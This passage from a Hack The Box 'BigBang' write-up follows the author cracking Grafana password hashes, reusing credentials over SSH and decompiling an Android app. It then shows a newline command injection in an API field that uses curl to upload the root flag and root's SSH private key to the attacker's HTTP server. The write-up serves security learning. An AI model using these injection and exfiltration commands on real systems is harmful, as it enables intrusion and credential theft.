scp shawking@$RADDR:/opt/data/grafana.db ./grafana.db

Great, now we can open up the database normally:

sqlite3 grafana.db
sqlite> .mode table
sqlite> .headers on
sqlite> select email, password, salt, rands, uid from user;

grafana db password hashes

I did a quick search about the hashing format for Grafana, and ended up finding a tool for converting these hashes into a usable format for hashcat. It requires the data in password,salt format, so I adjusted my sqlite query to suit:

.mode csv
select password, salt from user;

The output can be copied to clipboard directly

vim grafana-salted.hashes
# paste from clipboard

Now we can try using the tool

git clone https://github.com/iamaldi/grafana2hashcat.git
python3 grafana2hashcat/grafana2hashcat.py -o grafana.hc10900 grafana-salted.hashes
# Tool reports success :) Let's crack 'em!
hashcat -m 10900 grafana.hc10900 /usr/share/wordlists/rockyou.txt

Within a few seconds, one of the two passwords was cracked!

cracked grafana hash

That’s the second of the two hashes we provided, so we just got ghubble@bigbang.htb : bigbang 😁

Since this came from the Grafana DB, we’re guaranteed a login there:

logged into grafana

However, it looks like ghubble doesn’t actually have any dashboards defined. To me, this is a strong indication that the box creator only included Grafana as a thing for holding password hashes… and that the true intention was credential re-use 🤔

Credential reuse (again)

There are still three accounts to test: ghubble, developer, and of course root. It’s likely this password was for ghubble:

ssh ghubble@$RADDR    # Nope
ssh developer@$RADDR  # Yep!!

ssh as developer

Local enumeration - developer

It didn’t take very long to figure out what makes developer different from the other users:

developer has apk

Note the name, satellite-app. Could this be related to what we saw earlier when checking ps aux? It was an elevated process:

/usr/bin/python3 /root/satellite/app.py

It seems like a pretty likely P.E. clue, so I’ll dive into this right away.

Satellite App - Decompilation

First, I’ll download a copy to my attacker host using SCP:

cd source
scp developer@$RADDR:/home/developer/android/satellite-app.apk ./

Now, we can decompile using apktool:

 apktool d satellite-app.apk -o ./satellite-app

apktool

Normally I’d take the output of apktool and run the classes.dex file through dex2jar, but for some reason apktool did not produce a classes.dex file this time.

Instead, I’ll try loading satellite-app.apk into JADX-GUI

I didn’t have JADX yet, so I had to install it from the kali repos: sudo apt install jadx

I loaded the apk file into JADX, then went looking around manually through the app. It is a very large app, and has a LOT of resource files. Also, the source code seems to be stripped of its symbols for the most part, so the code is quite difficult to read (the symbol names are mostly auto-generated by the decompiler).

Thankfully though, all of the string literals are retained! We can just open up a search box and try to find some goodies 🎁

I searched for “pass”, “password”, “credential”, “login”, and eventually found something useful in u.AsyncTaskC0228f.a():

jadx text search

That looks a lot like an API endpoint. Exactly what I was hoping for! Now I won’t need to enumerate the app at port 9090 (which I can now assume is this satellite-app). Let’s check for other endpoints:

satellite app endpoints

Looks like there’s only two. Here’s the snippets of Java that show us the API details:

HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("http://app.bigbang.htb:9090/login").openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setRequestProperty("Content-Type", "application/json");
httpURLConnection.setRequestProperty("Accept", "application/json");
// ...
HttpURLConnection httpURLConnection2 = (HttpURLConnection) new URL("http://app.bigbang.htb:9090/command").openConnection();
httpURLConnection2.setRequestMethod("POST");
httpURLConnection2.setRequestProperty("Content-Type", "application/json");
httpURLConnection2.setRequestProperty("Authorization", "Bearer " + ((MoveCommandActivity)contextWrapper).f1999q);
httpURLConnection2.setDoOutput(true);
// ...
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("http://app.bigbang.htb:9090/command").openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setRequestProperty("Content-Type", "application/json");
httpURLConnection.setRequestProperty("Authorization", "Bearer " + this.f3687b.f2003p);
httpURLConnection.setDoOutput(true);
String str = "{\"command\": \"send_image\", \"output_file\": \"" + this.f3686a + "\"}";
OutputStream outputStream = httpURLConnection.getOutputStream();
// ...

Satellite App - API

Summarizing the above, we see:

  • POST /login Body unknown. Probably credentials. Hopefully anonymous!
  • POST /command Headers: Authorization: Bearer {token} Body: JSON of {"command": "send_image", "output_file": ???}

I’m hoping that the /login endpoint returns a bearer token to us. Let’s try it out:

checking satellite api

OK, so the endpoint requires JSON. What keys should be in the JSON?

checking satellite api 2

Perfectly sensible. No idea what the credentials are, though. Let’s check for credential re-use yet again:

  • Usernames: shawking, ghubble, developer, root
  • Passwords: quantumphysics, bigbang

checking satellite api 3

Great! Looks like we can use developer : bigbang. Let’s try using the auth token for the /command endpoint now.

We already saw in the source code that the auth token is valid for only two minutes.

TOKEN=$(curl -s localhost:9090/login -H 'Content-Type: application/json' --data '{"username":"developer","password":"bigbang"}' | cut -d '"' -f 4); curl localhost:9090/command -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' --data '{"command":"send_image", "output_file":"/tmp/1.png"}'

At this point, we need to imagine what the code for /root/satellite/app.py looks like. Clearly it’s running some API. On the /command endpoint, we know it’s checking for the command and output_file keys. Maybe it’s something like this:

@app.route('/command', methods=['POST'])
def command():
    # Check Auth header
    auth_header = request.headers.get('Authorization')
    if not auth_header or not auth_header.startswith('Bearer '):
        return jsonify({'error': 'Unauthorized'}), 401
    if not is_token_valid(request.headers.get('Authorization')):
        return jsonify({'error': 'Unauthorized'}), 401

    # Parse JSON body
    data = request.get_json()
    if not data or 'command' not in data or 'output_file' not in data:
        return jsonify({'error': 'Bad Request', 'message': 'Missing command or output_file'}), 400

    command = data['command']
    output_file = data['output_file']

    if command == 'send_image':
        # Take a picture;
        # Copy the picture to the output_file filepath?
        # ...?

    return jsonify({'message': 'Command received', 'command': command, 'output_file': output_file}), 200

Depending on the logic inside the branch of code that “takes a picture”, we might be able to trick it. Since it’s handling files, perhaps the developer was lazy and used OS commands instead of a bytewise copy in python 🤔

Satellite App - Command Injection

Let’s try inserting a command injetion in the filepath:

TOKEN=$(curl -s localhost:9090/login -H 'Content-Type: application/json' --data '{"username":"developer","password":"bigbang"}' | cut -d '"' -f 4); curl localhost:9090/command -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' --data '{"command":"send_image", "output_file":"/tmp;touch /tmp/hi"}'
# {"error":"Output file path contains dangerous characters"}

Aha! The fact that it needs to even check indicates that maybe there is a flaw in the code 😏

Let’s try a polyglot of linux OS command injection characters and see if any work:

  • ;||&&\n$(touch /tmp/hi) ❌ “400 Bad Request”
  • ; “Error: dangerous characters” ❌
  • && “Error: dangerous characters” ❌
  • || “Error: dangerous characters” ❌
  • \n “Error: Error reading image file” 👀

touch worked

The newline character worked. We can do OS command injection using the filepath!

I’m still running an HTTP server on my attacker host. Maybe we can just leak the flag? I’ll try a file upload using cURL:

TOKEN=$(curl -s localhost:9090/login -H 'Content-Type: application/json' --data '{"username":"developer","password":"bigbang"}' | cut -d '"' -f 4); curl localhost:9090/command -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' --data '{"command":"send_image", "output_file":"\ncurl -F 'file=@/root/root.txt' http://10.10.14.14:8001"}'

leaked root flag

🎉 It worked! We can read the flag from the HTTP server root now:

cat www/root.txt

Holy moly that was tough 😩

EXTRA CREDIT

SSH as root

Since we already have a way to exfil files by uploading them to the HTTP server, let’s just check to see if there is an RSA SSH key in the root directory (there often is):

TOKEN=$(curl -s localhost:9090/login -H 'Content-Type: application/json' --data '{"username":"developer","password":"bigbang"}' | cut -d '"' -f 4); curl localhost:9090/command -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' --data '{"command":"send_image", "output_file":"\ncurl -F 'file=@/root/.ssh/id_rsa' http://10.10.14.14:8001"}'

Yep, there’s totally a key there. And by the length of it, it looks like it’s probably valid:

got root ssh key

I’ll move this out of my HTTP server asap, so no other HTB players get it off my server inadvertently:

mv www/id_rsa loot/root_id_rsa
chmod 600 loot/root_id_rsa
ssh -i loot/root_id_rsa root@$RADDR

Alas, there’s still a password on the account. Oh well! 🤷‍♂️

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm -rf ./source/*
rm -rf ./loot/*

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • 📚 Vuln research. Do it early and often. We’re just CTF runners, but there are people that find vulnerabilities and craft exploits for a living. Thankfully, they’re often really open about their findings. Stand on the shoulders of giants, and try to figure out how you can apply their hard work to your target.

  • 💔 Break your exploit into small, verifiable pieces. The more complex an attack path, the more points of failure there are. It can be overwhelming to try to create a whole exploit all in one step. It’s best to take some extra time to see how you can break the exploit down into small pieces. I like to think of them as waypoints on the route to your final exploit.

two crossed swords

Defender

  • 😖 Don’t use Wordpress. Yeah that’s right, I said it. It’s bloated and the plugin system is ugly. It takes way too much memory to run, too. It’s really well-documented, but my personal opinion is that its ecosystem has simply grown too large to be controlled. There’s a reason that Wordpress is their own CVE numbering authority… It’s great for attackers, though.

  • Credential reuse is super bad. If it weren’t for a few spots where credentials were reused, this box would have been nigh impossible. It was segmented into several different docker containers, and we would have had to work a lot hard post-foothold to finally reach root. Thankfully, a few accounts had some reused creds that weren’t too hard to crack.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake